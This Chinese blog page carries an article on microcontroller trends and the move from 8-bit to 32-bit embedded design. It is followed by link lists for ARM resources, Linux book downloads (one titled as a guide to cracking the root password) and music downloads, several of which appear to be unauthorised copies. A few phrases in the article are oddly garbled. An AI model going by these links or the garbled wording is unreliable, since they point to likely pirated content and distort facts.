Motorola公司研发的MPC8260 PowerQUICC II就是是一种先进的为电信和网络市场而设计的集成通信微处理器。它融合了两个CPU——嵌入式PowerPC内核和通信处理模块(CPM)。由于CPM 分担了嵌入式PowerPC核的外围工作任务,这种双处理器体系结构功耗反而要低于传统体系结构的处理器。
Infineon公司推出的TC10GP和增强型TC1130都是三核(TriCore)结构的微处理器。它同时具备RISC、CISC和DSP功 能,是一种建立在SoC概念上的结构。这种单处机由三个核组成:微控制器和DSP核、数据和程序存储器核、外围专用集成电路(ASIC)。这种单片机的最 大特点是把DSP和微控制器愈合成一个单内核,大大提高了微控制器的功能。具有类似结构的还有Hitachi公司的SH7410、SH7612等。它们用 于既需要MCU又需要DSP功能的场合,比使用单独MCU和DSP的组合提供了更优势的性能。
(3)更低功耗
现在新推出的MCU的功耗越来越小,很多MCU都有多种工作方式,包括等待、暂停、休眠、空闲、节电等工作方式。例如Philips的 P87LPC762,空闲状态下的电流为1.5mA,而在节电方式下电流只有0.5mA。很多MCU还允许在低振荡频率下以极低的功耗工作。例如, P87LPC764在32.768kHz低频下,正常工作电流仅为Idd=16μA(VDD=3.6V),空闲模式下Idd=7μA(VDD= 3.6V)。
(4)更宽工作电压范围
扩大电源电压范围以及在较低电压下仍然能工作是现在新推出的MCU的一个特点。目前一般MCU都可以在3.3~5.5V的范围内工作,有些产品则可以 在2.2~6V的范围内工作。例如,Fujitsu的MB8919X、MB8912X和MB89130系列以及F2MC-8L系列MCU,绝大多数工作电 压范围都为2.2~6V;而TI的MSP430X11X系列的工作电压可以低达2.2V。Motorola针对长时间处在待机模式的装置所设计的超省电 HCS08系列MCU,已经把可工作的最低电压降到了1.8V。
(5)更先进的工艺和更小的封装
现在MCU的封装水平已大大提高,有越来越多的MCU采用了各种帖片封装形式,以满足便携式手持设备的需要。Microchip公司推出了目前世界上 体积最小的6引脚PIC10F2XX系列MCU。为了适应各种应用的需要,减少驱动电路,很多MCU的输出能力都有了很大提高,Motorola MCU的I/O口灌电流可达8mA以上,而Microchip的MCU可达20~25mA,其它如AMD、Fujitsu、NEC、Infineon、 Hitachi、Toshiba等都在8~20mA之间。
(6)低噪声布线技术
在过去一般MCU中,电源与地引脚是安排在芯片封装的对角上,即左上、右下或右上、左下位置上。这种安排会使电源噪声对MCU的内部电路造成相对最大 干扰。现在很多MCU都把电源和地引脚安排在两个相邻的引脚上。这样既降低了干扰,还便于在印制电路板上对去耦电容器进行布线,降低系统的噪声。
2 嵌入式系统设计的新挑战
要求更高的应用需求推动嵌入式设计正在8/16位转向功能更强大的32位MCU。这种升级给工程师带来性能空间和处理裕度提升的同时也带来了严峻的挑 战,提出了一系列前所未有的全新问题。首先,要对开发工具和软件进行新的投资,并对设计流程进行重新定义;另外,要对原软件能多大程度地用于新架构、要把 已有软件移植到32位的新架构上还必须做多少工作,以及器件和开发工具的成本、存储器的种类、规模、性能和容量、可选器件的种类等进行评估。是否向32位 升级主要取决于经过综合考虑后的总的系统成本等。
2.1 发生了哪些变化
原来国内熟悉8位MCU开发的工程师大部分出身于电子工程和其他机电专业,而非计算机专业。随着嵌入式系统设计技术的发展,已经在很多方面发生了很大 的变化。在这此与传统的8位MCU的开发有着许多明显的不同:首先是开九牛二虎之力复杂度大为提高,其次开发形式、手段和工具也有了很大不同;另外系统越 来越多地是建立在RTOS平台上,使用的开发程序设计语言不再是开始效率很低的汇编语言,而越来越多地使用开发效率很高的高级语言。C语言已成为主流通用 开发语言。
(1)开发的复杂度
各种多媒体和通信手持设备、信息家电和复杂系统都需要更强大的MCU来完成复杂大数据量实时处理。例如,目前移动电话手机需要多屏显示、网页浏览、文 本信息发送、带查找功能的大容量地址簿和语音拨号等功能;最新数码相机及摄像机的高效率数据压缩、自动识别和各种智能处理等,需要增加DSP功能;电话交 换机需要分布式处理而采用多处理器结构。
(2)开发形式、手段和工具
随着开发对象复杂度的提高,硬件和软件设计比例发生了很大变化。软件开发的比重越来越大,复杂系统的设计已不可能由一个设计师包括硬件和软件,而必须 由一个团队来分工合作完成。由此也推出了开发形式、手段和工具的发展,特别是硬件/软件协同设计和验证技术、设计管理技术(如软件版本管理软件)和各种嵌 入式系统设计工具软件的发展。
过去,几乎所有4/8/16位MCU的开发都必须要有用于实时调试的专用在线仿真器(IC E),其开发过程总是先设计、制作和调试好硬件,同时进行 软件编程,在调试好硬件电路板之前,对软件最多仅能进行关于纯逻辑和计算的调试;只有在已调试好的硬件基础上,才能进行系统应用软件的调试,所有可以提供 的程序库或应用软件包都是专用的。
对于32位嵌入式处理器来说,随着时钟频率越来越高(50~400MHz以上),加上复杂的封装形式(如BGA),ICE已越来越难胜任开发工具的工 作。目前替代的基本方法是借助于JTAG接口构成JTAG调试器,直接从CPU获取调试信息而使得产品的设计简化,从而使得开发工具的价格反而要低于 ICE。
软件和硬件工程师并行工作是一种发展潮流。通过协同设计,特别是协同验证技术,软件工程师能尽早在真实硬件上测试,而硬件工程师能尽早在原形设计周期中验证他们的设计。
因为嵌入式系统的复杂性和多样性,不可能有一个包打天下的统一的完整解决方案,所以不同的EDA供应商推出了各种商用嵌入式系统设计环境。如有 Synopsys公司的Co-Centric System Studio、Cadence公司的“虚拟元件协同设计”(VCC)、CoWare公司的“CoWare N2C”等,还有世界各地的大学也为嵌入式系统设计开发出各种用于特定应用的免费工具。
(3)开发平台
能让产品可靠和迅速上市是嵌入式系统普通要求。为了提高时效,过去“一切自行设计”的模式已逐渐被“尽量采用具有IP的产品”所代替。这又推动了标准实时操作系统(RTOS)和相应的调试技术的发展。
由于32位架构的MPU/MCU的资源丰富,指令集相对庞大,而且系统软件也更加复杂,特别当系统有多任务实时保证的要求时,通常要选用一种RTOS 作为开发平台来对应用软件中的多任务进行调度。当系统需要连接Intenet网/实现图形用户界面(GUI)或文件系统(FS)时,若采用支持 TCP/IP协议栈/GUI/FS的嵌入式操作系统,可极大地降低复杂多任务系统开发的难度。
RTOS的引入解决了嵌入式软件开发标准化的难题,促进嵌入式开发软件的模块化和可移植化,为软件工程化打下基础。随着嵌入式系统中软件比重不断上 升、应用程序越来越大,这对开发人员的知识结构、应用程序接口和程序档案的组织管理等都提出了新的要求。引入RTOS相当于引入了一种新的管理模式,对于 开发单片机和开发人员都是一个飞跃。
(4)开发语言
在从8/16位MCU向32位转换时,所用软件开发语言也发生了变化。过去大部分8/16位MCU都没有太多的性能冗余,软件编写必须完全适合其有限的处理功能,因此软件开发大部分用汇编语言编写。
在8/16位MCU上采用C、PL/M等高级语言编程,再用相关编译器转换成相应机器语言执行,早在十几年前就已尝试并推广;但由于当时编译器的编译 效率还不够高,高级语言程序的额外开销相对比较大、运行效率下降,再加上8/16位MCU本身处理裕度有限,失言进度缓慢。最近几年,就8/16位MCU 而言,随着C编译器效率和MCU性能的大幅度提高,用高级语言代替汇编语言也渐成趋势,典型的MCU都推出了自己的C编译器。其中Keil C51的编译效率已达到很高水平,经过优化的用Keil C51编写的程序编译后的运行效率甚至要高于普通开发者直接用汇编语言编写的程序。
2.2 设计者面对的新挑战
(1)转变观念,需要熟悉新的开发模式
嵌入式系统应用不再是过去单一的单片机应用模式,而是越来截止多样化,这可为用户提供更多的不同层次的选择方案。嵌入式系统实现的最高形式是片上系统 SoC,而SoC的核心技术是重用和组合IP核构件。从单片机应用设计到片上系统设计及其中间的一系列的变化,从底层大包大揽的设计到利用FPGA和IP 模块进行功能组合PsoC/SOPC设计,这是一个观念的转变。学习和熟悉新的开发模式将会事半功倍地构建功能强大和性能卓越的嵌入式系统,但同时也给系 统的设计验证工作提出了许多新的挑战。
(2)进入的技术门槛提高,需要学习全新的RTOS技术
现代高端嵌入式系统都是建立在RTOS基础上的。这对于未受过计算机专业训练的各专业领域的工程技术人员来说,需要学习全新的RTOS技术,深入了解 RTOS的工作机制和系统的资源配置,掌握底层软件、系统软件和应用软件的设计和调试方式。进入的技术门槛要比所熟悉的开发方法高得多。这对于开发者来 说,也是一个新的挑战。
(3)选择适合的开发工具,熟悉新的开发环境
目前从8位升级到32位的一个最大障碍就是开发工具的投入。32位开发工具要比8位开发工具复杂得多,使用的技术门槛要高得多,同时其投资也要高得 多。进入32位系统开发的工程师不得不面对与8位系统很不相同的开发环境。如何正确选择处理器架构、评估嵌入式操作系统,以及使用陌生的开发工具,都是一 个新的挑战。
(4)熟悉硬件/软件协同设计和验证技术、设计管理技术
软/硬件并行设计是嵌入式系统设计的一项关键任务。在设计过程中的主要问题,是软硬件设计的同步与集成。这要求控制一致性与正确性,但随着技术细节不 断增加,需要消耗大量时间。目前,业界已经开发Polis、Cosyma及Chinook等多种方法和工具来支持集成式软硬件协同设计。目标是提供一种统 一的软硬件开发方法,它支持设计空间探索,并使系统功能可以跨越硬件和软件平台复用。
团队开发的最大问题就是设计管理问题。现在有越来越多的公司开始重视技术管理,利用各种技术管理软件(例如软件版本管理软件)对全过程进行监督管理。 这对每一个参与开发的人来说,似乎增加了不少麻烦,但是对整个公司的产品上市、升级、维护以及战略利益都具有长远的效益。
(5)SoC设计所面临的巨大的挑战
SoC已经开始成为新一代应用电子技术的核心,这已成为电子技术的革命标志。过去应用工程师面对的是各种ASIC电路,而现在越来越多所面对的是巨大 的IP模块库,所有设计工作都是以IP模块为基础。SoC设计技术使嵌入式系统设计工程师变成了一个面向应用的电子器件设计工程师。随着SoC应用的日益 普及,在测试程序生成、工程开发、硅片查错、量产等领域对SoC测试技术提出了越来越高的要求。掌握新的测试理念及新的测试流程、方法和技术,是对单片机 应用工程师提出的新挑战。



推荐阅读:嵌入式MPEG-4解码系统的设计与实现

ARM程序设计优化策略与技术

ARM的介绍与选择


ARM开发经典学习网站推荐


1.  EG3

关于嵌入式开发的站点,提供非常多关于嵌入式开发的资料。包括开发公司,技术文档,免费资源等等。版面包括busses & boards,embedded software,dsp,embedded systems,open source,rtos,embedded chips,system-on-a-chip 等等。

强烈推荐

http://www.eg3.com/ - 外文


2.  The First Stop for the Latest ICs and Components

非常好的关于微处理器,DSP,可以编程控制器资讯的网站,更新非常快。强烈推荐一些领导级别的人常去,了解行业动态!

http://www.eeproductcenter.com/ - 外文


3.  Programmers Heaven - Assembler programming zone

大量的源代码,分类清晰,强烈推荐。但是有很多好像已经不再更新了。

http://www.programmersheaven.com/zone5/index.htm - 外文


4.  吐血推荐的关于ARM开发的网站,收集了非常多ARM开发工具,而且是免费的。

http://www.gnuarm.com/resources.html - 外文


5.  ARM的中文网站,官方网站

http://www.arm.com/chinese/ - 中文


6.  美国Cornell University课程ECE476所完成的项目。

这些项目都具有详细学习资料。共有200多个项目,看看这些东西,就能感觉国内与国外教学实践的差别。我们国家很多高校的电子相关专业的设计就是搞个键 盘,搞个MAX7219显示,搞个DS1302时钟,'一百年不变'。看了它是我记得很不舒服。大家好好研究研究吧。特别是老师们,一定要深思。

一毛

http://instruct1.cit.cornell.edu/courses/ee476/FinalProjects/ - 外文


7.  Build Your Own Microcontroller Projects

This page provides schematic and software for hobbyists to practice "learn by doing", build a simple microcontroller projects at home. For those who would like to contribute projects, please prepare HTML files whatever you like to see but keep all files small and informative. I shall provide for others. DIY的好地方,强烈推荐.

http://www.kmitl.ac.th/~kswichit/ - 外文


8.  LPC2000 Tools from the LPC2000 Yahoo! Group 推荐

http://www.gnuarm.com/~lpc2000/body.html - 外文


9.  GNU ARM? toolchain for Cygwin, Linux and MacOS .推荐

这里是它的实用资源 http://www.gnuarm.com/resources.html

讨论组 http://groups.yahoo.com/group/gnuarm/

文件下载 http://www.gnuarm.com/files.html

http://www.gnuarm.com/ - 外文


10.  ARMuC Wiki.大量的开发资料,强烈推荐

http://www.open-research.org.uk/ARMuC/ - 外文


11.  来自www.mikrocontroller.net大量实用链接

这里有许多所用链接关于AVR,8051,ARM,PIC.它收集的AVR信息是我看到的最好的。遗憾的是网站语言是德文。

http://www.mikrocontroller.net/articles/Linksammlung - 外文


12.  LPC2000 information page featuring the Philips ARM microcontrollers

关于LPC2100的专业网站

http://www.lpc2100.com/ - 外文


13.  ARMboot

ARMboot is an Open-Source firmware suite for ARM based platforms. ARMboot is heavily based on the sister-project PPCboot, which provides similar functionality on PowerPC based systems. ARMboot shall be a common, easy-to-use and easy-to-port boot platform

http://armboot.sourceforge.net/ - 外文


14.  周立功单片机

国内知名的民营企业,他主要是代理 PHILIPS 公司的 ARM微控制器与单片机,在该网站上可以下载大量的相关资料。推荐看看

http://www.zlgmcu.com - 中文


15.  ARMphetamine

ARMphetamine is a project to create a fast and accurate ARM processor emulator. A technique known as "dynamic recompilation" will be used so that the highest possible speed can be achieved for emulated code - ARM code programs are translated into native code as they are being emulated. The current development platform is Linux/x86

http://armphetamine.sourceforge.net/ - 外文


16.  Linux for all ARM based machines

一种LINUX操作系统,适合移植在ARM结构上。

http://www.arm.linux.org.uk/ - 外文


17.  Universal Bootloader

Universal Bootloader project provides firmware with full source code under GPL. Many CPU architectures are supported: PowerPC(MPC5xx, MPC8xx, MPC82xx, MPC7xx, MPC74xx, 4xx), ARM(ARM7, ARM9, StrongARM, Xscale), MIPS(4Kc,5Kc), x86, ...

http://sourceforge.net/projects/u-boot - 外文


18.  SkyEye Project

SkyEye是一个开源软件(opensource software)项目,中文名字是“天目”。SkyEye的目标是在通用的Linux和Windows平台实现一个模拟集成开发环境,模拟基于ARM的 嵌入式计算机系统;可在SkyEye上运行ARM Linux,uclinux以及uC/OS-II等多种嵌入式操作系统,并对它们进行源码级的分析和测试

http://www.skyeye.org/index_cn.html - 外文


19.  uclinux-elf-tools

一个优秀的交叉编译工具。m68k系统,ARM系统下有很好的性能。

http://www.uclinux.org/pub/uClinux/uclinux-elf-tools/ - 外文


20.  MCUserver

一个比较专业的关于电子开发的网站,但是我也不知道网站是什么语言,但看一勉强看懂。它的下载区有很多实用资料,需要注册才可以下载。它提供很多DIY电路,比如PIC,AVR,MSP430,FPGA,ARM,8051等等编程电路。推荐

http://www.mcu.cz/modules/news/ - 外文


21.  Embeder's Family--嵌入者之家

个人站点,但是这里有些相关资源下载http://www.embeder.com/bbs/showforum.asp?forumid=10

它的ARM论坛还可以.http://www.embeder.com/bbs/

http://www.embeder.com/ - 中文


22.  ArmTime Technology

推荐.比较不错的ARM网站,比较专业的网站.

http://www.armtime.com/ - 中文


23.  GNU Toolchain for ARM Processors

http://www.codesourcery.com/arch ... ounce/maillist.html

http://www.codesourcery.com/archives/arm-gnu/maillist.html

http://www.codesourcery.com/gnu_toolchains/arm/ - 外文


24.  ARMLinux Resources

Here are links to various resources for ARMLinux. Mostly off-site but some are maintained here.

http://www.aleph1.co.uk/armlinux/

http://www.aleph1.co.uk/armlinux/resources.html - 外文


25.  www.ulrichradig.de

一个非常好的德国个人网站,有些电子制作.比较经典的就是

1,利用AVR单片机做的WEB服务器.RTL8019芯片.

2,利用CPLD产生视频信号VGA.

3,μClinux - mini Linux for the Philips's ARM LPC2294

http://www.ulrichradig.de/ - 外文


26.  boot

Booting on any device needs a boot-loader and some means to get the boot-loader installed in the first place. Here we look at the specifics for ARM architecture devices booting Linux, covering available boot-loaders and their capabilities, some general principles and mechanisms for uploading the Linux kernel and root filesystem, giving specific examples with Jflash-linux and Blob.

http://www.aleph1.co.uk/armlinux/docs/ARMbooting/t1.html - 外文


27.  武汉创维特嵌入式沙龙

主要是关于ARM的开发.

下载页面有些好东西:http://www.cvtech.com.cn/cvtech/down_index.asp

http://www.cvtech.com.cn/ - 中文


28.  Debian GNU/Linux on ARM

On these pages you'll find information about the ongoing effort of porting Debian GNU/Linux to the ARM architecture which is often found in embedded systems

http://www.debian.org/ports/arm/ - 外文


29.  ARM Documentation 来自官方网站

http://www.arm.com/documentation/ - 外文


30.  ARM Devlopments

http://www.ap-systems.co.uk/index.htm - 外文


31.  RTLinux for StrongARM

http://www.imec.be/rtlinux/ - 外文


32.  PIC,AVR,ARM,MSP430开发DIY

该网站提供很多的PIC,AVR,ARM,MSP430的开发资料,特别适合自己制作开发系统,它的ARM开发(利用LPC21**系列)是非常号的资料。推荐。

http://www.olimex.com/dev/index.html - 外文


33.  杭州莱顿科技有限公司

尽管是买方ARM(主要是三星的芯片)开发板的,但是里面也有不少开发资料下载,开发三星ARM不容错过。

http://www.jzx51.com/index.htm - 中文


34.  嵌入式开源项目

是一个适合初学者学习嵌入式开发的技术网站,lumit 名称取自 let us make it together 这句话的首字母缩写。我们期待对嵌入式技术有兴趣的朋友能和我们一起学习、动手制作、相互探讨、共同进步。

lumit 也是一个软硬件资料可以完全免费下载的开源项目,目前主要目标是制作一个基于arm7tdmi s3c4510开发板的可以实用的u盘,未来我们希望还能做出 mp3、pda 甚至是 dc,dv 等。

http://www.lumit.org/ - 中文


35.  ARM时代

提供:ARM仿真器|ARM开发板|ARM技术 项目 方案 成型产品,还有一些ARM开发资料供下载

http://www.arm9e.com/ - 中文


36.  广州友善之臂的ARM资料下载

http://www.arm9.net/m4-download.asp - 中文


37.  Aeolus Development - Embedded Hardware and Software

http://www.aeolusdevelopment.com/ - 外文


38.  阿冰BLOG : ARM与嵌入式开发

http://ustcers.com/blogs/devzhao/articles/category/65.aspx - 中文


39.  中国单片机公共实验室.--可以看看.

http://www.bol-system.com/ - 中文


40.  52ARM微电通讯技术网

http://www.52arm.com/ - 中文


41.  思恒科技-DSP、ARM、FPGA等开发的电子综合网站

公司网站,资料还不是很多,有时间可以看看。

http://www.siheng.cn/ - 中文


42.  三星官方网站的ARM芯片资料下载

http://www.samsung.com/Products/ ... family_cd=LSI090101 - 外文


43.  西安建华科技实业有限公司

提供ARM开发板,同时也有少量的ARM开发文档.

http://www.jhembed.com/ - 中文


44.  小章电子技术网 -很多实用电子资料下载。

http://www.zyjmcu.com/zlxz.htm - 中文


45.  ARM专栏

http://www.baite-group.com/chinese_simple/bbs/arm.htm - 中文


46.  Instruction set quick finder

his document describes, as completely as I am aware of, the ARM instruction set. If, however, you are only interested in the instructions relating to programming under RISC OS, you may prefer to read the shorter quick finder document...

http://www.heyrick.co.uk/assembler/qfinder.html - 中文


47.  ARM学习网

http://218.78.211.237:8088/ - 中文


文章来源: http://wuqidongxing.blog.163.com ... 495020079284363574/



几本linux学习的书籍

本人正在进行linux 的学习 希望这些资料对linux爱好者有用
linux 教材大全 ftp://down.eshuba.com/eshuba/xitongxiangguan/Linuxjcdq.rar


linux 使用大全 http://down.eshuai.cn/shuba/xito ... %C3%B4%F3%C8%AB.rar
linux 学习宝典 http://down1.cnhacker.com/booksdown/07013103050c8cb659a28f9ff.rar

        
linux 从入门到精通 http://www.gouhuo.com/study/linuxbook.zip
练成linux 高手 http://www.jz5u.com/download.asp?id=15590&downid=0
送给linux 初学者 ftp://211.95.73.26/hl/送给初学Linux的穷人Linux系统指令大全.pdf  

         
linux 系统管理 ftp://211.95.73.26/1zxhlinux.rar
linux 命令大全 http://ftpgz5.pconline.com.cn/exam/it/Linux061114.rar
linux 软件工程师 ftp://222.214.218.42/book3/20060 ... 81-4941bcee1f11.pdf  

  
基础学习 http://www.00083.com/soft/upload ... 84b69a63c2ed2a47af3
基础教程完整版 http://download.chinaitlab.com/download.asp?id=34873
命令全集 http://down.linuxmine.com/soft/0/1/01000001.rar  


  使用学习教程 ftp://222.214.216.57/book2/20061 ... 16-c8b5facb0654.chm
网络安全配置 http://vip.hackbase.com/vipsoft/vipteacher/20050305linux29.rar
linux 从入门到精通 ftp://down.eshuba.com/eshuba/200601/Linux ??????.rar  


  http://ftpgz13.pconline.com.cn/pub/download/200205/linuxsite.rar
新手管理员手册 http://www.00083.com/soft/upload ... fc01983a9ded8943b62
安装与配置简明手册 http://cpss.zz.ha.cn/study/linux ... %f7%ca%d6%b2%e1.zip
网络实际操作 thunder://QUFodHRwOi8vZG93bmxvYWQuY2hpbmFpdGxhYi5jb20vZG93bmxvYWQuYXNwP2lkPTM3MTM3Wlo=
红旗linux 中文版初级教程 http://down.hack58.com/fzw_hack58/sohu/11-23linux.rar
linux 核心源代码分析PDG http://www.00083.com/soft/uploadsoft/linux核心源代码分析.rar?6103004891303x1174341082x6103009877379-15c492eb5c3033c99a07c2fba419c496
破解根用户密码 http://www.942d.com/shipin/bbs/linuxsn.rar
Red Hat Linux Fedora傻瓜书 httP://book1.ibook8.com/ibook8co ... 5/041113/fedora.rar  


Linux知识宝库典藏版  ftp://222.214.218.42/book3/20060 ... 35-0c5492042030.chm
Linux程序设计  ftp://down.eshuba.com/eshuba/xitongxiangguan/Linuxcxsj.rar
Linux参考大全  httP://book1.ibook8.com/ibook8com/pc2005/701/1/521hacker-20.zip
linux编程初学者入门  ftp://222.214.216.57/book2/20061 ... 00-a603302e0466.rar  


LINUX应用技术精华{面向初学Linux朋友的书籍}   http://www.linuxfans.org/nuke/software/LINUX应用技术精华{面向初学Linux朋友的书籍}/LINUX应用技术精华{面向初学Linux朋友的书籍}.rar
redhat9从入门到精通  http://down.315safe.com:315/redhat9从入门到精通.rar  


Linux C函数库参考手册  http://cnc-http.xpbook.com:81/200506/Linux%20C函数库参考手册.rar?6102881127298x1150968278x6102884440460-71dc8cd6d874db99d29888002914a4d5
Linux 内核完全注释   httP://book1.ibook8.com/ibook8co ... 113/linuxsystem.rar
Linux2006年9月 总第三期  http://www.linuxer.cn/magazine/linuxer3-2006-09.pdf
Linux_network_manage-3245      http://down.csdn.net/down2//2006 ... ork_manage-3245.rar
一周内学会Linux系统管理   http://download1.csdn.net/down2/2006/10/499/1zxhlinux-2605.rar
linux编程白皮书   http://download1.csdn.net/down//2006/webdown/004/Linuxbcbps.rar
linux上的c编程   http://www.cinchina.com/Soft/Sho ... lID=1&SoftID=12
linux宝典  thunder://QUFodHRwOi8vZG93bmxvYWQuY2hpbmFpdGxhYi5jb20vZG93bmxvYWQuYXNwP2lkPTM3MDk3Wlo=
《Linux内核完全注释》 V1.9.5版  http://oldlinux.qbang.org/download/clk011c-1.9.5.pdf
linux教材  thunder://QUFodHRwOi8vd3d3Lmp6NXUuY29tL2Rvd25sb2FkLmFzcD9pZD0xNDUxNSZkb3duaWQ9MFpa
linux命令全集Shell_manual  http://www.uplinux.com/php/downl ... ZWxsX21hbnVhbC56aXA 


推荐一个很好的文献检索资源网站

诺贝尔学术资源网为您提供:国内外文献检索资源、文献代理、文献互助等。文献资源一切都是免费的。
  诺贝尔学术资源网您提供一个学习最新的文献检索技术,获得最新文献资源的平台。
网址是:http:// bbs. ok6ok. com
http:// www .i-nobel .com(教育网)




posted @ 2007-12-02 11:38 MEYE 阅读(2340) | 评论 (0)编辑 收藏
音乐网站大全

现代摇滚单曲排行榜——更新较快,20首最TOP现代摇滚单曲下载,免费
http://www.fwcn.com/billboard/

音乐天使——来自天堂的声音,来自天使的声音,如梦似幻,与你分享……
http://music.angelyaya.net/gs/

英语之声——可下载欧美经典3辑99首mp3格式音乐
http://www.english.ac.cn/songs/index.htm

yepoo音乐——收集有六张欧美音乐专辑,mp3格式,192.0Kpbs码率(速度超级快)
http://www.yepoo.com/main.asp

嘎雅NEWAGE音乐——提供大量NEWAGE音乐下载,mp3格式,音质不错
http://gaea.hit.edu.cn/m3uplay/nvmake/nc.asp

震撼音乐——淄博供电公司提供的154首经典音乐,主要是欧美mp3音乐下载
http://61.156.17.162/MP3/

蚂蚁的欧美歌曲 1 4 5 ——提供30多张近1000首欧美歌曲下载,全部mp3格式
http://qol.qdc.com.cn/mp3/omlmjd/ANTS.HTM
http://media.gdpc.edu.cn/music/cdvolume/ant4/ant4.htm
http://media.gdpc.edu.cn/music/cdvolume/ant5/ant5.htm

古典圣殿——提供70张音乐专辑在线试听
http://210.34.4.3/cd-bible/gudian/gudian.htm

天外之音——免费提供40CD的WMA格式音乐下载,大部分为欧美音乐
http://www.zhzx.net.cn/students/studentpage/bright/index.htm

电影画廊——免费提供30多张电影主要是欧美电影原声音乐下载,全部mp3格式
http://202.103.25.159/cine/music/mp3.htm

第一城市——免费提供两张M2M的专辑和一张007专辑下载,全部mp3格式
http://www.ecityboy.com/03down/index-3.htm

影视先锋——提供较多欧美、日韩电影原声下载赏析 Midi格式 MP3格式 RM格式
http://202.102.230.12/movie/music/mp3/notting/mp3.htm
http://202.102.230.12/movie/music/shang.htm
http://202.102.230.12/movie/music/midi.htm
http://202.102.230.12/movie/music/mp3.htm
http://202.102.230.12/movie/music/rm.htm

LOW摇滚音乐网——免费提供Linkin Park,Limp Bizkit,Foo Fighters,Silverchair等14位歌手的专辑下载
http://www.low69.com/download.html
http://www.low69.com/mp3/LinkinPark.html
http://www.low69.com/mp3/LimpBizkit.html
http://www.low69.com/mp3/FooFighters.html
http://www.low69.com/mp3/Silverchair.html

古典音乐厅——收集肖邦、斯特劳斯、柴可夫斯基、贝多芬、巴赫等17位世界音乐大师的主要作品,提供rm、mp3下载
http://bds.cetin.net.cn:81/cetin2/sp/music-hall/music-1.htm

百度mp3论坛精华—顾名可思义,可以找到很多欧美音乐,且下载很方便
http://forum.baidu.com/cgi-bin/f ... id=16&age=0

欧美影视金曲——提供134首经典欧美影视金曲mp3下载
http://brightsun.hr.hl.cn/xiuxian/yjt/ysjq/

歌曲集萃——厦门6中音乐网,有经典老歌、英文金曲、影视名曲、童声合唱、世界经典名曲下载,全部mp3格式
http://www.liuzhong.xm.fj.cn/music2/
http://www.liuzhong.xm.fj.cn/music2/song/song.htm
http://www.liuzhong.xm.fj.cn/music2/song/english/english.htm
http://www.liuzhong.xm.fj.cn/music2/filmsong/filmsong.htm
http://www.liuzhong.xm.fj.cn/music2/song/song03.htm
http://www.liuzhong.xm.fj.cn/music2/xfmq/shijie01.htm

悠长密道——原声书馆。黑魔法影视音乐城!美丽的声音,美丽的故事……等待着您与蓝衣演绎!
http://www.soundo.net/yc_index.htm

雅尼的主页——我只知道这个网站提供单曲在线视听,还有什么,你去看了就知道
http://www.yanni.com/

理查德·克莱德曼浪漫钢琴曲——本站论坛收集的《理查德·克莱德曼浪漫钢琴曲》119首mp3音乐,免费免注册提供下载
http://www.asweiren.org/bbs/lunt ... u=4&num=204

名家名作——收集理查德·克莱德曼、肯尼吉、雅尼、詹姆斯高威、保罗摩利亚的作品
http://www.charlesonline.org/music/famous_artist.htm

Huya音乐——网站制作精美,有特色,有九个欧美音乐专辑,音乐虽少了点,但都是精华  
http://www.huya.net/music/music.htm

水滴音乐——提供欧美音乐mp3下载,音乐也不是很多,但有很多歌词,也是一个不错的网站
http://music.nbjyc.com.cn

魅力吉他——百度论坛精华,由100free收集,实际是德翁的帖子,提供63首吉他曲下载
http://forum.baidu.com/cgi-bin/f ... pg=4&age=60

加州旅馆——百度论坛精华帖,是德翁的帖子,13种版本,附带一个网址,可下载更多的版本
http://forum.baidu.com/cgi-bin/f ... 0&h=1#54135

欧美音乐——一个人气较旺的欧美音乐站点,免费提供mp3下载,同时打开一个音乐论坛,可以找到一定数量的音乐
http://www.oumei.net/index.html

披头士精选——中文披头士专门网站,提供100首披头士音乐下载,链接速度较慢
http://211.101.197.94/beatles/download.asp

神秘园——神秘园音乐4CD,提供mp3下载,但不太稳定,我下载过
http://yini.lili.cc/secretgarden/download.htm

Winamp Radi——Winamp网络电台,128Kpbs,音质好,我觉得不错
http://www.shoutcast.com

   
天碟落地——提供6张经典音乐大碟mp3下载,在恐怖海峡有3张专辑下载,请在晚上(11点钟以前)下载
http://yfok.vicp.net/fan/fan.htm

苏俄音乐——有丰富的苏俄音乐,可惜的是mp3格式不多,大部分是asf格式,凑合着听吧
http://xue-fan.y365.com/download.html

音乐地图,爱听音乐的朋友不要错过。
cn.51.net/online.php>http://pengwcn.51.net/online.php

部分杰出的音乐公司及杂志与音响技术等站点
http://www.thinktip.com/bbs/music.htm
Namm新纪元音乐杂- http://go4.163.com/namm/index1.htm
日本音乐信息中心- http://www.jamic.org/
我爱Mp3搜索引擎- http://www.5imp3.com/

=======英文音乐站=======
Download.com- http://download.com.com/
21st Century Mp3- http://www.21century-mp3.com/
MP3.com- http://www.mp3.com/
水滴音乐- http://music.nbjyc.com.cn/
Chinto Music Lover- http://chinto.hypermart.net/
CrazyEMusic.com 欧美流行风- http://61.139.37.148/music/
Music Cool- http://www.musiccool.net/
音乐城市- http://www.musiccity.com
MP3.BOX.SK- http://mp3.box.sk/
Your Digital Music Oasis- http://www.dmusic.com/
Lycos Music- http://music.lycos.com/
VH1.com- http://www.vh1.com/
AMG All Music Guide- http://www.allmusic.com/
country.com- http://www.country.com/
MP3 Search- http://music.salon.com.cn/
leon83.com- http://www.leon83.com/
Welcome to Fast Search & Transfer- http://www.fast.no/
MusicSearch.com The Internet's Music-Only Search
Site!- http://www.musicsearch.com/
welcome to sonico.com homepage- http://en.sonico.com/
AudioFind- http://www.allmp3.com/
it's craptastic!(该站友情链结极好,音乐下载在线站极
多)- http://www.punkasspunk.com/
VITAMINIC_the music evolution- http://www.vitaminic.com/
MP3 Search- http://www.look4sound.com/
4AD- http://www.4ad.com/

=======古典音乐=======
古典音乐网- http://www.classical.net.cn/
水妖的岛- http://shuitou.net/
巴洛克音乐圣殿- http://baroque.yeah.net/
追月寻风- http://coralgz.51.net/gudian/shangshui.htm
中国音乐剧网- http://www.chinamusical.com/normal/chinamusical.html
歌剧音乐下载站- http://malei.vip.sina.com/classicaldownload.html
古典音乐下载网- http://malei.vip.sina.com/
黑暗放逐(推荐)- http://www.dzbbs.com/
星乐钢琴手(推荐)- http://www.xygqs.com/
音乐岛- http://cell.my169.com/
瞬间,永恒- http://person.zj.cninfo.net/~sanio/index.html
音乐与音响- http://music_sound.myetang.com/index.htm
..:::贝多芬爱好者同盟:::..- http://www.beethovenian.net/
古典音- http://www.chinakongzi.com/2550/music/
中国音乐教育- http://xiaoyv.myrice.com/
哆来咪- http://www.duolaimi.com/
艺声在线- http://yszxmp3.126.com/
Here is Music- http://www.hereismusic.com
=======品味音乐=======
诗歌音乐室- http://www.lifespring.com.hk/gb/music.htm
